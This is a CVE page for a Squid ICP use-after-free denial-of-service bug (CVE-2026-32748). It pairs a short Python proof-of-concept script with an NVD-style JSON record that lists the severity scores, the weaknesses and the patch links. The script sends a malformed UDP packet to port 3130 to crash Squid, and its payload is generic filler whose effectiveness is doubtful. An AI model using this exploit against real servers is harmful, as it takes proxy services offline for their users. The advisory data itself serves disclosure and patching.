CVE-2026-32748

import socket # PoC for CVE-2026-32748: Squid ICP UAF Denial of Service # Description: This script sends a malformed ICP packet to trigger the UAF bug. # Note: Target must have ICP enabled (non-zero icp_port). def send_icp_packet(target_ip, target_port): try: # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Malformed payload to trigger resource release issue # ICP opcode usually 1 (QUERY), followed by length and other fields. # This payload is crafted to exploit the specific UAF condition. payload = b'\x01\x00\x00\x00' + b'A' * 100 sock.sendto(payload, (target_ip, target_port)) print(f"[+] Payload sent to {target_ip}:{target_port}") print("[+] Check if Squid service crashed.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and ICP port (default 3130) target = "192.168.1.100" port = 3130 send_icp_packet(target, port)

{"cve": {"id": "CVE-2026-32748", "sourceIdentifier": "[email protected]", "published": "2026-03-26T01:16:26.850", "lastModified": "2026-03-26T20:43:15.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Squid is a caching proxy for the Web. Prior to version 7.5, due to premature release of resource during expected lifetime and heap Use-After-Free bugs, Squid is vulnerable to Denial of Service when handling ICP traffic. This problem allows a remote attacker to perform a reliable and repeatable Denial of Service attack against the Squid service using ICP protocol. This attack is limited to Squid deployments that explicitly enable ICP support (i.e. configure non-zero `icp_port`). This problem _cannot_ be mitigated by denying ICP queries using `icp_access` rules. This bug is fixed in Squid version 7.5."}, {"lang": "es", "value": "Squid es un proxy de almacenamiento en caché para la Web. Antes de la versión 7.5, debido a la liberación prematura de recursos durante la vida útil esperada y errores de uso después de liberación en el heap, Squid es vulnerable a denegación de servicio al manejar tráfico ICP. Este problema permite a un atacante remoto realizar un ataque de denegación de servicio fiable y repetible contra el servicio Squid usando el protocolo ICP. Este ataque está limitado a despliegues de Squid que habilitan explícitamente el soporte ICP (es decir, configurar un 'icp_port' distinto de cero). Este problema _no puede_ ser mitigado denegando consultas ICP usando reglas de 'icp_access'. Este error está corregido en la versión 7.5 de Squid."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-413"}, {"lang": "en", "value": "CWE-416"}, {"lang": "en", "value": "CWE-826"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:squid-cache:squid:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.5", "matchCriteriaId": "9F62FE66-3319-4718-BD42-B374264D81E8"}]}]}], "references": [{"url": "https://github.com/squid-cache/squid/commit/703e07d25ca6fa11f52d20bf0bb879e22ab7481b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/squid-cache/squid/security/advisories/GHSA-f9p7-3jqg-hhvq", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/25/3", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch", "Third Party Advisory", "Mitigation"]}]}}